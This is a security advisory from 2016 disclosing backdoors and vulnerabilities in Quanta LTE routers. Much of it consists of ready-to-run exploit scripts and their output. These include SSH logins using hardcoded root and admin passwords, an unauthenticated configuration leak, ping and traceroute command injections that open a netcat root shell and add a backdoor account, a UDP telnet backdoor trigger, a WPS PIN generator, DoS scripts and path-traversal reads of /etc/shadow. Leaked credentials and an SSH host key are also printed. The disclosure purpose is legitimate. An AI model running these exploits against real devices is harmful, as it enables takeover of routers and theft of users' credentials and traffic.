Quanta LTE Router Code Execution / Backdoor Accounts

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512  
  
## Advisory Information  
  
Title: Multiple vulnerabilities found in Quanta LTE routers (backdoor,  
backdoor accounts, RCE, weak WPS ...)  
Advisory URL: https://pierrekim.github.io/advisories/2016-quanta-0x00.txt  
Blog URL: https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html  
Date published: 2016-04-04  
Vendors contacted: Quanta  
Release mode: Released  
CVE: no current CVE  
DWF: no current DWF  
  
  
  
## Product Description  
  
Quanta Computer Incorporated is a Taiwan-based manufacturer of  
electronic hardware.  
It is the largest manufacturer of notebook computers in the world.  
  
  
  
## Vulnerabilities Summary  
  
The Quanta LTE QDH Router device is a LTE router / access point  
overall badly designed with a lot of vulnerabilities.  
It's available in a number of countries to provide Internet with a LTE network.  
  
The tests below are done using the latest available firmware (firmware  
01.00.05_1210, model revision QDHY10_M1.2252_45041,  
/DailyBuild/MDM9x25_2031_QDT/QDHY_2031_YOOMEE/codebase/MDM9x25_2031_QDH_20141210_0940/MDM9x25_2031_QDT/LINUX/apps_proc/oe-core/build/tmp-eglibc/work-shared/gcc-4.6.2+svnr181430-r22/gcc-4_6-branch/libgcc/../gcc/config/arm).  
  
The summary of the vulnerabilities is:  
  
- - Hardcoded SSH Server key  
- - Backdoor accounts  
- - Router DoS  
- - WebInterface Information Leak  
- - RCE #1  
- - RCE #2  
- - Backdoor  
- - Default WPS PIN  
- - Weak WPS PIN Generation - with a reverse-engineered algorithm  
- - Backdoor accounts in Samba  
- - Leaking No-IP account (?)  
- - Remote FOTA (Firmware Over The Air)  
- - TOCTOU vulnerability in QCMAP_ConnectionManager - LPE  
- - Default Wifi Password Weakness  
- - HTTP DoS  
- - Arbitrary file browsing using the http daemon  
- - Arbitrary file reading using the http daemon  
- - Network Eavesdropping - Interception with the gglogd program  
- - Security removed in UPnP  
- - Undocumented diagnostic webpage  
- - Misc  
  
A personal point of view: at best, the vulnerabilites are due to  
incompetence; at worst, it is a deliberate act of security sabotage  
from the vendor. Not all the vulnerabilities found have been disclosed  
in this advisory. Only the significant ones are shown.  
  
Note: This firmware is being used by other Quanta CPEs. From the  
/usr/www/js/ui/qdisplay.js file, the vulnerable firmware seems to be  
used in several routers:  
  
- - Quanta 4G WiFi Router QDH  
- - Quanta 4G WiFi Router UNE  
- - Quanta 4G WiFi Router MOBILY (QDH-Mobily - CPE342X)  
- - Quanta 4G WiFi Router Yoomee  
  
The routers are still on sale and used in several countries.  
  
Due to lack of communication of the vendor, the specific list of  
affected countries is unknown. However, we assume the affected  
firmware is used at least in some Arabic speaking countries as the  
Help files are written in English, French, Chinese and Arabic (See  
http://192.168.1.1/help_ar.html).  
  
Due to lack of security patches provided by the vendor, the  
vulnerabilities will remain unpatched.  
  
  
  
Details - Hardcoded SSH Server key  
  
A harcoded SSH server key can be found in  
/etc/dropbear/dropbear_rsa_host_key and can be used to decipher SSH  
traffic to the router:  
  
admin@homerouter:~$ ls -la /etc/dropbear/dropbear_rsa_host_key  
-rw------- 1 root root 427 Dec 10 2014 dropbear/dropbear_rsa_host_key  
#  
  
Base64 hardcoded SSH server key:  
  
user@kali:~$ cat dropbear_rsa_host_key | base64  
AAAAB3NzaC1yc2EAAAADAQABAAAAgwC9P88UlGdb6WIsIcyni8zh4zLdrSORieNeZNXtDHiH  
zgs80XQ8FOBBaNBTBAib+GX6V8Aixvmh315+H6xyb4fQSlicpJ1lq4k7pKsrXGgdYS2FTPrX  
A8YG+1beVvWeK9/8LjXAdZCzwE7D8jOSPh9dw0HIuPQhBCfxE4o/WOvYwVMZAAAAggHJf9g9  
CAZWS3zo80ysPWqvKXBuNYEm9RCTwXDn/p3isFi6Th+Qn2cCuT/lcHrfkz/0Uu5JJHuWt0bX  
3/ojKzxIaUQplS1Kumc4qF65ksKWjCmJuKvtO50dooZNEmq86AKKnrC6t+7qb/5koX9eu/dV  
4w4P2jETGZBEUOLwFULn9aEAAABCAPUi4oI9NcRHZ3tvlEXgN/7Cd2F/UbshuW0kV1v4sJZj  
ABmVrJ5TXol8Ne8KoWinxHfGaSky/IJR9zSkTaUJy115AAAAQgDFouA20kCjNeGgtabxuRP7  
lndn8/4jXR0/HvEVdZIki9Z5gifC5+gxn8rKcyTSZZmyMYGwLQsN3Z9LumQT/DdaoQ==  
user@kali:~$  
  
  
  
## Details - Backdoor accounts  
  
By default, telnetd and SSHd are running in the router.  
  
2 backdoors accounts exist and can be used to bypass the HTTP  
authentication used to manage the router.  
  
admin@homerouter:~$ grep admin /etc/passwd  
admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh  
admin@homerouter:~$  
  
The password for admin is 'admin' and can be found in the  
`/bin/appmgr` program using IDA:  
  
[please use the HTML version at  
https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html  
to see the image]  
  
About the root user:  
  
root@homerouter:~# grep root /etc/shadow  
root:aRDiHrJ0OkehM:16414:0:99999:7:::  
root@homerouter:~#  
  
Using john to crack the hashs:  
  
user@kali:~$ john -show shadow+passwd  
admin:admin:admin:/:/bin/sh  
root:1234:16414:0:99999:7:::  
  
2 password hashes cracked, 0 left  
user@kali:~$  
  
  
Results:  
  
- admin has password admin  
- root has password 1234  
  
  
Working exploit for admin:  
  
user@kali:~$ cat quanta-ssh-default-password-admin  
#!/usr/bin/expect -f  
  
set timeout 3  
spawn ssh [email protected]  
expect "password: $"  
send "admin\r"  
interact  
user@kali:~$ ./quanta-ssh-default-password-admin  
spawn ssh [email protected]  
[email protected]'s password:  
admin@homerouter:~$ id  
uid=168(admin) gid=168(admin) groups=168(admin)  
admin@homerouter:~$  
  
  
Alternatively, you can fetch it at  
https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin.  
  
Working exploit for root  
  
user@kali:~$ cat quanta-ssh-default-password-root  
#!/usr/bin/expect -f  
  
set timeout 3  
spawn ssh [email protected]  
expect "password: $"  
send "1234\r"  
interact  
user@kali:~$ ./quanta-ssh-default-password-root  
spawn ssh [email protected]  
[email protected]'s password:  
root@homerouter:~# id  
uid=168(root) gid=168(root) groups=168(root)  
root@homerouter:~#  
  
Alternatively, you can fetch it at  
https://pierrekim.github.io/advisories/quanta-ssh-default-password-root.  
  
  
  
## Details - Router DoS  
  
The router has apparently small capacity when trying to route packets.  
  
This "exploit" will likely force the router to reboot:  
  
user@kali:~$ cat quanta-dos-crash-router.sh  
#!/bin/sh  
  
echo this exploit will crash the router if you are using RJ45  
echo press [enter]  
read x  
nmap -sP -T5 10.201.12.0/24 2>/dev/null >/dev/null  
  
user@kali:~$ ./quanta-dos-crash-router.sh  
this exploit will crash the router if you are using RJ45  
press [enter]  
  
[the router will reboot]  
user@kali:~$  
  
Alternatively, you can fetch it at  
https://pierrekim.github.io/advisories/quanta-dos-crash-router.sh.  
  
  
  
## Details - WebInterface Information Leak  
  
The webinterface allows an attacker to retrieve every sensible  
information without authentication (web login, web passwords, wifi  
configuration, WPS PIN, Dyndns login, Dyndns passwords, Wifi SSIDs,  
...).  
  
This "exploit" will show all the configuration of the router,  
including logins and passwords:  
  
  
user@kali:~$ cat quanta-infoleak.sh  
#!/bin/sh  
  
ip=$1  
if [ ! $1 ]; then  
echo "$0 ip"  
exit 1  
fi  
  
echo "INFOLEAK"  
echo "press [enter]"  
read wut  
for i in system apn firewall fota lan modem portfwd r_sku samba  
sms10 wan_lte wan_wifi wifi cm netstat ipfilter ddns dlna tr069  
ip6filter wizard ; do  
wget -qO- "http://$ip/data.ria?CfgType=get_homeCfg&file=$i"  
done  
user@kali:~$  
  
  
Alternatively, you can fetch it at  
https://pierrekim.github.io/advisories/quanta-infoleak.sh.  
  
Using this exploit:  
  
user@kali:~$ ./quanta-infoleak.sh 192.168.1.1  
INFOLEAK  
press [enter]  
[META]  
System_Log="2,M"  
[VER]  
config="1.0"  
[DEVICE]  
web_usrname="admin"  
web_passwd="admin"  
login_timeout="0"  
language="10"  
[SNTP]  
enable="1"  
timezone="16"  
update_period="12"  
server1="0.africa.pool.ntp.org"  
server2="1.africa.pool.ntp.org"  
server3="time.windows.com"  
[PWRMGR]  
batt_idle_tm="0"  
deep_sleep_tm="0"  
pwroff_idle_tm="0"  
[WEBSVC]  
  
[....snip....]  
[AP1]  
enable="1"  
ssid="OperatorWiFi-0000"  
channel="0"  
ch_width="0"  
hidden="0"  
security="3"  
wpa_auth="5"  
wpa_passphrase="test test"  
[....snip....]  
enrollee_pin="28296607"  
[....snip....]  
user@kali:~$  
  
  
  
## Details - RCE #1  
  
The Webinterface allows an attacker to execute commands as root by  
injecting commands.  
  
The first RCE has been found in the ping API:  
  
Ping Remote command execution with `nc -l -p 1337 -e /bin/ash` as a payload  
  
user@kali:~$ wget -qO/dev/null --header="Cookie: ${http_session}"  
--post-data="{\"CfgType\":\"ping\",\"cmd\":\"ping\",\"url\":\"\`/bin/nc  
-l -p 1337 -e /bin/ash\`\",\"cnt\":4,\"authID\":\"${http_csrf_token}\"}"  
"http://192.168.1.1/webpost.cgi"  
  
  
  
A complete exploit is provided and will produce this output:  
  
user@kali:~$ ./quanta-rce-remote-exploit-ping.sh  
Stage [1] - Bypassing authentication ... OK  
local admin = admin  
local passw = admin  
wifi access point = OperatorWiFi-0000  
wifi password = test  
WPS PIN = 28296607  
guest wifi access point = OperatorWiFi-Guest-0000  
guest wifi password = 12345678  
public ip = 0.0.0.0  
gateway = 0.0.0.0  
subnet mask = 255.255.255.252  
dns server #1 = 41.242.32.26  
dns server #2 = 41.242.32.42  
  
Stage [2] - RCE ... OK  
Stage [3] - Checking the router ... OK  
uid=0(root) gid=0(root)  
HACK THE PLANET  
Stage [4] - Creating a backdoor account ... OK  
Stage [5] - Connecting as backdoor/admin to the remote sshd ...  
  
Have fun!  
  
spawn ssh [email protected]  
[email protected]'s password:  
root@homerouter:/# id  
uid=0(root) gid=0(root) groups=0(root)  
root@homerouter:/#  
  
This exploit will bypass the authentication, get the information about  
credentials using the infoleak, use them to get a CSRF token, launch a  
backdoor shell as root, add an user and then connect with SSH with the  
new created account with a fully-working shell.  
  
You can fetch it at  
https://pierrekim.github.io/advisories/quanta-rce-remote-exploit-ping.sh.  
  
  
  
## Details - RCE #2  
  
The Webinterface allows an attacker to execute commands as root by  
injecting commands.  
  
The second RCE has been found in the traceroute API:  
  
Traceroute Remote command execution:  
  
user@kali:~$ wget -qO/dev/null --header="Cookie: ${http_session}"  
--post-data="{\"CfgType\":\"tracert\",\"cmd\":\"tracert\",\"url\":\"\`/bin/nc  
-l -p 1337 -e /bin/ash\`\",\"authID\":\"${http_csrf_token}\"}"  
"http://192.168.1.1/webpost.cgi"  
  
  
  
Working exploit:  
  
The output is the same as the first RCE. A complete exploit is  
provided and will produce this output:  
  
user@kali:~$ ./quanta-rce-remote-exploit-traceroute.sh  
Stage [1] - Bypassing authentication ... OK  
local admin = admin  
local passw = admin  
wifi access point = OperatorWiFi-0000  
wifi password = test  
WPS PIN = 28296607  
guest wifi access point = OperatorWiFi-Guest-0000  
guest wifi password = 12345678  
public ip = 0.0.0.0  
gateway = 0.0.0.0  
subnet mask = 255.255.255.252  
dns server #1 = 41.242.32.26  
dns server #2 = 41.242.32.42  
  
Stage [2] - RCE ... OK  
Stage [3] - Checking the router ... OK  
uid=0(root) gid=0(root)  
HACK THE PLANET  
Stage [4] - Creating a backdoor account ... OK  
Stage [5] - Connecting as backdoor/admin to the remote sshd ...  
  
Have fun!  
  
spawn ssh [email protected]  
[email protected]'s password:  
root@homerouter:/# id  
uid=0(root) gid=0(root) groups=0(root)  
root@homerouter:/#  
  
  
This exploit will bypass the authentication, get the information about  
credentials using the infoleak, use them to get a CSRF token, launch a  
backdoor shell as root, add an user and then connect with SSH with the  
new created account with a fully-working shell.  
  
You can fetch it at  
https://pierrekim.github.io/advisories/quanta-rce-remote-exploit-traceroute.sh  
  
  
  
## Details - Backdoor  
  
A backdoor is present inside the `/bin/appmgr` program. By sending a  
specific string in UDP to the router, an authentication-less telnet  
server will start if a telnetd daemon is not already running.  
  
In `/bin/appmgr`, a thread listens to 0.0.0.0:39889 (UDP) and waits  
for commands.  
  
If a client sends "HELODBG" to the router, the router will execute  
`/sbin/telnetd -l /bin/sh`, allowing to access without authentication  
to the router as root.  
  
When using IDA, we can see the backdoor is located in the main  
function (line 389):  
  
[please visit the HTML version at  
https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html  
to see the image]  
  
  
Working PoC :  
  
user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889  
Hello  
^C  
user@kali:~$ telnet 192.168.1.1  
Trying 192.168.1.1...  
Connected to 192.168.1.1.  
Escape character is '^]'.  
  
OpenEmbedded Linux homerouter.cpe  
  
  
msm 20141210 homerouter.cpe  
  
/ # id  
uid=0(root) gid=0(root)  
/ # exit  
Connection closed by foreign host.  
user@kali:~$  
  
  
  
## Details - Default WPS PIN  
  
Wi-Fi Protected Setup(WPS) is a standard for easy and secure  
establishment of a wireless home network, as defined in the  
documentation provided in the router (help.html).  
  
By default, the PIN for the WPS system is ever `28296607`. It is, in  
fact, hardcoded in the `/bin/appmgr` program:  
  
[please visit the HTML version at  
https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html  
to see the image]  
  
An user can check in the webinterface ("Par defaut" means "By default"):  
  
[please visit the HTML version at  
https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html  
to see the image]  
  
  
This PIN can be found in the HostAP configuration too, and, using the  
information leak, in the HTTP APIs of the router:  
  
root@homerouter:~# ps -a|grep hostap  
1006 root 0:00 hostapd /var/wifi/ar6k0.conf  
1219 root 0:00 grep hostap  
root@homerouter:~# cat /var/wifi/ar6k0.conf  
[...]  
ap_pin=28296607  
[...]  
  
  
Leak of the default WPS PIN in the HTTP APIs:  
  
user@kali:~$ ./infoleak.sh 192.168.1.1 | grep pin  
enrollee_pin="28296607"  
user@kali:~$  
  
  
  
## Details - Weak WPS PIN Generation - with a reverse-engineered algorithm  
  
An user can use the webinterface to generate a temporary PIN for the  
WPS system (low probability as the `28296607` WPS PIN is provided by  
default).  
  
The PIN generated by the router is weak as it is generated using this  
"strange" reverse-engineered algorithm:  
  
user@kali:~$ cat quanta-wps-gen.c  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <time.h>  
  
  
int main(int argc,  
char **argv,  
char **envp)  
{  
unsigned int i0, i1;  
int i2;  
  
/* the seed is the current time of the router, which uses NTP... */  
srand(time(0));  
  
i0 = rand() % 10000000;  
if (i0 <= 999999)  
i0 += 1000000;  
i1 = 10 * i0;  
i2 = (10 - (i1 / 10000 % 10 + i1 / 1000000 % 10 + i1 / 100 % 10 + 3 *  
(i1 / 100000 % 10 + 10 * i0 / 10000000 % 10 + i1 / 1000 %  
10 + i1 / 10 % 10))  
% 10) % 10 + 10 * i0;  
  
printf("%d\n", i2 );  
  
return (0);  
}  
  
  
user@kali:~$ gcc -o quanta-wps-gen quanta-wps-gen.c  
user@kali:~$ ./quanta-wps-gen  
97329329  
user@kali:~$  
  
  
You can fetch this program at  
https://pierrekim.github.io/advisories/quanta-wps-gen.c.  
  
Using `srand(time(0))` as a seed is a bad idea because an attacker,  
knowing the current date as `time(0)` returns the current date in an  
integer value, can just generate the valid WPS PIN. The Router uses  
NTP so is likely to have a correct timestamp configured. It's trivial  
for an attacker to generate valid WPS PIN suites and bruteforce them.  
  
For the curious reader, the original algorithm in the firmware is:  
  
[please visit the HTML version at  
https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html  
to see this long content]  
  
  
  
## Details - Backdoor accounts in Samba  
  
Samba is configured to run by default and the `/bin/genpasswd` program  
configures the different accounts.  
  
As seen in the IDA screenshot, multiple backdoors accounts are created:  
  
- - admin with the password 1234  
- - support with the password 1234  
- - user with the password 1234  
- - nobody with the password 1234  
  
- From `/bin/genpasswd`:  
  
[please visit the HTML version at  
https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html  
to see the image]  
  
The resulting file (`/usr/pc/samga/etc/passwd`) is:  
  
admin:6HgsSsJIEOc2U:0:0:Administrator:/:/bin/sh  
support:Ead09Ca6IhzZY:0:0:Technical Support:/:/bin/sh  
user:tGqcT.qjxbEik:0:0:Normal User:/:/bin/sh  
nobody:VBcCXSNG7zBAY:0:0:nobody for ftp:/:/bin/sh  
  
And john confirms the passwords:  
  
user@kali:~$ john -show usr-pc-samba-etc-passwd  
admin:1234:0:0:Administrator:/:/bin/sh  
support:1234:0:0:Technical Support:/:/bin/sh  
user:1234:0:0:Normal User:/:/bin/sh  
nobody:1234:0:0:nobody for ftp:/:/bin/sh  
  
4 password hashes cracked, 0 left  
user@kali:~$  
  
When Samba starts, the passwd file is copied into `/var/pc/samba/etc/passwd`.  
  
  
  
## Details - Leaking No-IP account (?):  
  
The file `/etc/inadyn-mt.conf` (for a dyndns client) contains an user  
and a hardcoded password. I don't know if it is used:  
  
--log_file /usr/inadyn_srv.log  
--forced_update_period 6000  
--username alex_hung  
--password 641021  
--dyndns_system [email protected]  
--alias test.no-ip.com  
  
  
  
## Details - Remote FOTA (Firmware Over The Air)  
  
The credentials to contact the FOTA server are harcoded in the  
`/sbin/fotad` binary, as shown with this IDA screenshot:  
  
[please visit the HTML version at  
https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html  
to see the image]  
  
  
The function sub_C8A4 contains the credentials as base64-strings, used  
to retrieve the firmware.  
  
It's notable the FOTA daemon tries to retrieve the firmware over  
HTTPS. But at the date of the writing,  
the SSL certificate for  
https://qdp:[email protected]/qdh/ispname/2031/appliance.xml.  
  
[please visit the HTML version at  
https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html  
to see the image]  
  
The user/password combinaisons are:  
  
qdpc:qdpc  
qdpe:qdpe  
qdp:qdp  
  
  
  
## Details - TOCTOU vulnerability in QCMAP_ConnectionManager - LPE  
  
This program is started at boot as root. The function sub_131F4  
creates the `/etc/guest_access_rules.sh` file, then fills it with  
ebtables commands, then `chmod 777 /etc/guest_access_rules.sh` (!),  
then executes `/etc/guest_access_rules.sh` (as root) and then removes  
it from the filesystem.  
  
The local admin user (without root privileges) can use this TOCTOU  
vulnerability to gain root privileges in the router. Chmoding 777 a  
file and then executing it as root doesn't seem to be a good idea.  
  
ds_system_call() is a wrapper to system().  
  
Beginning of the sub_131F4 function (`/etc/guest_access_rules.sh` is  
opened and ebtables are created):  
  
[please visit the HTML version at  
https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html  
to see the image]  
  
End of the sub_131F4 function, where the TOCTOU vulnerability is located:  
  
[please visit the HTML version at  
https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html  
to see the image]  
  
The attentive reader will comment that the program doesn't check if  
the file `/etc/guest_access_rules.sh` already existed and if it was  
owned by a non-root user before doing a fopen (file, "w"), so this  
user would keep the rights on the file during all the execution of the  
function, allowing him to add some commands into the file. He will be  
right to note this is not a best security practice.  
  
  
  
## Details - Default Wifi Password Weakness  
  
By default, Wifi password is provided as a 8-char string. It's  
composed of [A-Z]{8}. It's possible to bruteforce it very fast using a  
WPA handshake.  
  
  
  
## Details - HTTP DoS  
  
By sending multiple authenticated http requests to a webservice  
allowing to retrieve anti-csrf tokens (security feature!), it is  
possible to get the qmiweb daemon (http daemon) to use 100% of CPU and  
to become unresponsive.  
The service doesn't check the number of requested anti-csrf tokens by  
the client, so it is possible to request a large number of tokens,  
resulting in the blocking of the HTTP server.  
  
Problematic HTTP request:  
  
GET /data.ria?token=1000000000000000 HTTP/1.1  
Host: 192.168.1.1  
Cookie: qSessId=oTgVebjXWXcApoyb  
  
PoC:  
  
user@kali:~$ cat quanta-dos-http.sh  
#!/bin/sh  
  
TMP_DIR=$(mktemp -d)  
  
echo -n "Stage [1] - Bypassing authentication ..."  
  
wget -qO${TMP_DIR}/stage1-axx  
'http://192.168.1.1/data.ria?CfgType=get_homeCfg&file=system'  
http_login=$(grep web_usrname ${TMP_DIR}/stage1-axx | tail -n 1 |  
sed -e 's#"##g;s#=# #' | awk '{ print $2 }')  
http_password=$(grep web_passwd ${TMP_DIR}/stage1-axx | tail -n 1  
| sed -e 's#"##g;s#=# #' | awk '{ print $2 }')  
echo " OK"  
  
echo -n "Stage [2] - DoS ..."  
http_login=$(echo $http_login | tr -d '\r')  
http_password=$(echo $http_password | tr -d '\r')  
http_session=$(wget -qO/dev/null --server-response  
--post-data="uname=$http_login&passwd=$http_password"  
http://192.168.1.1/login.cgi 2>&1 | grep Cooki | awk '{ print $2 }')  
for i in $(seq 0 10)  
do  
wget -qO/dev/null --header="Cookie:  
${http_session}hey-i-dont-think-your-parsing-of-cookies-works-well"  
"http://192.168.1.1/data.ria?token=100000000000000" &  
done  
echo " OK"  
echo "Done. The HTTP server is surely unresponsive now."  
  
user@kali:~$ ./quanta-dos-http.sh  
Stage [1] - Bypassing authentication ... OK  
Stage [2] - DoS ... OK  
Done. The HTTP server is surely unresponsive now.  
user@kali:~$  
user@kali:~$  
user@kali:~$ wget http://192.168.1.1  
--2015-12-04 17:04:07-- http://192.168.1.1/  
Connecting to 192.168.1.1:80... connected.  
HTTP request sent, awaiting response...  
  
^C  
user@kali:~$  
  
Alternatively, you can fetch the exploit at  
https://pierrekim.github.io/advisories/quanta-dos-http.sh.  
  
In the router, the `/bin/qmiweb` program uses all the CPU.  
  
Mem: 40252K used, 128664K free, 0K shrd, 20K buff, 14804K cached  
CPU: 31.2% usr 65.5% sys 0.0% nic 0.0% idle 0.0% io 0.0% irq 3.1% sirq  
Load average: 7.71 4.38 2.16 2/214 1256  
PID PPID USER STAT VSZ %MEM CPU %CPU COMMAND  
797 1 root S 107m 64.8 0 98.4 /bin/qmiweb  
  
  
  
## Details - Arbitrary file browsing using the http daemon  
  
If an usb key or an usb hard disk is connected to the router, then  
it's possible to do arbitrary browsing using the http daemon in file  
system of the router using root privileges.  
  
The problem is the function in the http daemon which doesn't clean  
`../../` in the HTTP requests.  
  
Using the provided exploit: the exploit uses the information leak to  
use the login/password to get a valid cookie session and then exploits  
the vulnerability in the http daemon.  
  
PoC to browse the / directory of the router:  
  
user@kali:~$ ./quanta-http-directory-listing.sh  
{"query_path":"/../../../../","dir_list":[  
{"name":"www","type":1,"date":"2014/12/10 02:26:44","size":0},  
{"name":"usr","type":1,"date":"1970/01/01 00:02:23","size":0},  
{"name":"config2","type":1,"date":"2016/02/24 17:26:07","size":0},  
{"name":"build.prop","type":2,"date":"2014/12/10 02:27:50","size":38},  
{"name":"sdcard","type":1,"date":"2016/01/28 18:34:47","size":0},  
{"name":"home","type":1,"date":"2016/01/30 18:55:25","size":0},  
{"name":"sbin","type":1,"date":"2014/12/10 02:27:50","size":0},  
{"name":"bin","type":1,"date":"2014/12/10 02:27:49","size":0},  
{"name":"media","type":1,"date":"2014/12/10 02:26:38","size":0},  
{"name":"boot","type":1,"date":"2014/12/10 02:15:37","size":0},  
{"name":"mnt","type":1,"date":"2014/12/10 02:26:38","size":0},  
{"name":"sys","type":1,"date":"1970/01/01 02:43:27","size":0},  
{"name":"disk","type":1,"date":"2014/12/10 02:26:38","size":0},  
{"name":"WEBSERVER","type":1,"date":"2014/12/10 02:26:39","size":0},  
{"name":"lib","type":1,"date":"2016/02/24 17:13:53","size":0},  
{"name":"dev","type":1,"date":"2016/02/24 19:43:52","size":0},  
{"name":"proc","type":1,"date":"1970/01/01 00:00:00","size":0},  
{"name":"linuxrc","type":2,"date":"2014/12/10 02:16:02","size":1906904},  
{"name":".ash_history","type":2,"date":"2016/02/24 16:44:14","size":1693},  
{"name":"tmp","type":1,"date":"2016/02/24 19:23:31","size":0},  
{"name":"etc","type":1,"date":"2016/02/24 19:23:28","size":0},  
{"name":"config","type":1,"date":"2016/02/24 19:43:52","size":0},  
{"name":"lost+found","type":1,"date":"1970/01/01 02:43:26","size":0},  
{"name":"var","type":1,"date":"2016/02/24 19:43:52","size":0},  
{"name":"cache","type":1,"date":"2016/02/24 16:43:38","size":0}]}  
user@kali:~$  
  
Source of the exploit:  
  
  
  
user@kali:~$ cat quanta-http-directory-listing.sh  
#!/bin/sh  
  
TMP_DIR=$(mktemp -d)  
  
wget -qO${TMP_DIR}/stage1-axx  
'http://192.168.1.1/data.ria?CfgType=get_homeCfg&file=system'  
http_login=$(grep web_usrname ${TMP_DIR}/stage1-axx | tail -n 1 |  
sed -e 's#"##g;s#=# #' | awk '{ print $2 }')  
http_password=$(grep web_passwd ${TMP_DIR}/stage1-axx | tail -n 1  
| sed -e 's#"##g;s#=# #' | awk '{ print $2 }')  
http_login=$(echo $http_login | tr -d '\r')  
http_password=$(echo $http_password | tr -d '\r')  
http_session=$(wget -qO/dev/null --server-response  
--post-data="uname=$http_login&passwd=$http_password"  
http://192.168.1.1/login.cgi 2>&1 | grep Cooki | awk '{ print $2 }')  
http_csrf_token=$(wget -qO- --header="Cookie: ${http_session=}"  
"http://192.168.1.1/data.ria?token=1")  
wget -qO- --header="Cookie: ${http_session}"  
"http://192.168.1.1/data.ria?CfgType=storage_status&dir_path=/../../../../"  
user@kali:~$  
  
  
Alternatively, you can fetch the exploit at  
https://pierrekim.github.io/advisories/quanta-http-directory-listing.sh.  
  
  
  
## Details - Arbitrary file reading using the http daemon  
  
If an usb key or an usb hard disk is connected to the router, then  
it's possible to do arbitrary file reading in the file system of the  
router using root privileges.  
  
The problem is the function in the http daemon which does clean the  
`../../` strings in the requests but not hex-encoded '/' (%2f)  
characters.  
  
Using the provided exploit: the exploit uses the information leak to  
use the login/password to get a valid cookie session and then exploits  
the vulnerability in the http daemon.  
  
PoC to retrieve the `/etc/shadow` file:  
  
user@kali:~$ ./quanta-http-file.sh  
root:aRDiHrJ0OkehM:16414:0:99999:7:::  
daemon:*:16414:0:99999:7:::  
bin:*:16414:0:99999:7:::  
sys:*:16414:0:99999:7:::  
sync:*:16414:0:99999:7:::  
games:*:16414:0:99999:7:::  
man:*:16414:0:99999:7:::  
lp:*:16414:0:99999:7:::  
mail:*:16414:0:99999:7:::  
news:*:16414:0:99999:7:::  
uucp:*:16414:0:99999:7:::  
proxy:*:16414:0:99999:7:::  
www-data:*:16414:0:99999:7:::  
backup:*:16414:0:99999:7:::  
list:*:16414:0:99999:7:::  
irc:*:16414:0:99999:7:::  
gnats:*:16414:0:99999:7:::  
diag:*:16414:0:99999:7:::  
nobody:*:16414:0:99999:7:::  
messagebus:!:16414:0:99999:7:::  
avahi:!:16414:0:99999:7:::  
user@kali:~$  
  
  
Source of the exploit:  
  
user@kali:~$ cat quanta-http-file.sh  
#!/bin/sh  
  
TMP_DIR=$(mktemp -d)  
  
wget -qO${TMP_DIR}/stage1-axx  
'http://192.168.1.1/data.ria?CfgType=get_homeCfg&file=system'  
http_login=$(grep web_usrname ${TMP_DIR}/stage1-axx | tail -n 1 |  
sed -e 's#"##g;s#=# #' | awk '{ print $2 }')  
http_password=$(grep web_passwd ${TMP_DIR}/stage1-axx | tail -n 1  
| sed -e 's#"##g;s#=# #' | awk '{ print $2 }')  
http_login=$(echo $http_login | tr -d '\r')  
http_password=$(echo $http_password | tr -d '\r')  
http_session=$(wget -qO/dev/null --server-response  
--post-data="uname=$http_login&passwd=$http_password"  
http://192.168.1.1/login.cgi 2>&1 | grep Cooki | awk '{ print $2 }')  
http_csrf_token=$(wget -qO- --header="Cookie: ${http_session=}"  
"http://192.168.1.1/data.ria?token=1")  
wget -qO- --header="Cookie: ${http_session}"  
"http://192.168.1.1/storage_download/..%2f..%2f..%2f..%2f../etc/shadow"  
user@kali:~$  
  
  
Alternatively, you can fetch the exploit at  
https://pierrekim.github.io/advisories/quanta-http-file.sh.  
  
  
  
## Details - Network Eavesdropping - Interception with the gglogd program  
  
By default, the available pcap library is not located in the good path  
and tcpdump doesn't work (missing lib).  
  
The `/bin/gglogd` program is interesting because it fixes the tcpdump  
dependencies by moving libpcap into the correct directory, as shown in  
IDA screenshots.  
  
Then, the `/bin/gglogd` program will log all the traffic passing  
through the bridge0 (wlan0+eth* : wireless and ethernet) and the LTE  
interface (rmnet0). The resulting interception files will be written  
into the flash memory, so "somebody" can retrieve the logged traffic  
even if the router is rebooted.  
  
Fixing tcpdump library:  
  
[please visit the HTML version at  
https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html  
to see the image]  
  
Execution of tcpdump:  
  
[please visit the HTML version at  
https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html  
to see the image]  
  
`/bin/gglogd` is not started by default but it is suspicious that (1)  
this kind of the program is present in this router, (2) the program  
will fix the tcpdump dependencies on its own (tcpdump doesn't work by  
default in the firmware image) and (3) intercepting files are stored  
in a persistent storage. This intrigues further thoughts what the  
developer wanted to achieve from these settings.  
  
This is not a vulnerability but an interesting fact.  
  
  
  
## Details - Misc  
  
Samba is started if a FAT32 usb disk is connected. The provided Samba  
version (3.0.25b) is outdated : 9 year old and is prone to =~ 28 CVEs  
allowing an attacker to execute arbitrary code as root. I advise users  
not to connect usb disks to this device, connecting an usb disks will  
start the samba daemons.  
  
Dropbear is outdated (v2011.54).  
  
  
  
## Details - Security removed in UPnP  
  
UPnP allows to add firewall rules dynamically. Because of the security  
risks involved, generally there are restrictions in place to avoid  
dangerous new firewall rules from an unstrusted LAN client.  
  
Insecurity in IPnP was hype 10 years ago (in 2006). The security level  
of the UPNP program (miniupnp) in this router is lowered volontary as  
shown below and allows an attacker located in the LAN area to add Port  
forwarding from the Internet to other clients located in the LAN:  
  
  
- From `/var/miniupnpd.conf`:  
  
ext_ifname=rmnet0  
